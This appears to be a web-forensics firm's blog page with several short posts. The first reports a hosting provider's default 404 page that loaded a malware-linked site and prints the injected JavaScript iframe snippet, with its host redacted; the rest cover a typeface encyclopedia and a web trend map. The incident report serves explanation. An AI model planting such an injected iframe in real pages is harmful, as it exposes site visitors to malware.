“Hey Harry, I think this one has got something – To be or not to be, that is the gazorninplat.” – An Infinite Number of Monkeys, Bob Newhart
If you love classic humor, you’ve probably heard this routine by Bob Newhart who imagined the daily routine of human supervisors in charge of an infinite number of monkeys, who according to the celebrated theorem, if given enough time would write all the greats literary works of all time.
Unfortunately, these typing monkeys seem to have found new jobs, mostly with technical support teams at some of America’s top Web Providers. We deal with a number of hosting services and had a bit of a problem of late: a default 404 page that distributes malware.
Our provider, which we shall not name at this point, has many servers one of which hosts over 90K websites. Within this server, is a directory no client can access, it is the /error/ directory, and it is here that a custom 404 page with an iframe that calls up a page from the infamous SearchMagnified site.
document.write('<iframe style="width: 100%; height:
100%; border: 0;" src="http://******.com/?dn='
+ location.hostname + '&pid=******"></iframe>');
We don’t just do Website Forensics for our clients, we often have to work with print. It’s therefore quite important for us to know the basic lingo: apertures, arms, ascenders, ligatures, loops, tails … TypePedia is a shared encyclopedia of typefaces that will provide all the necessary knowledge. The site also has a collaborative effort where users can contribute to a forum or add to the knowledge base.
Among the amazing data visualizing tools out there, the maps featured by Information Architects have become a favorite among the industry.
Based in Japan, Information Architects’ website produces over 3.4 billion page views per year and their Trend Map has won one of the biggest design prizes out there: it hangs on the wall of practically every big tech office in the world. Interested in your own custom maps? Check out http://webtrendmap.com/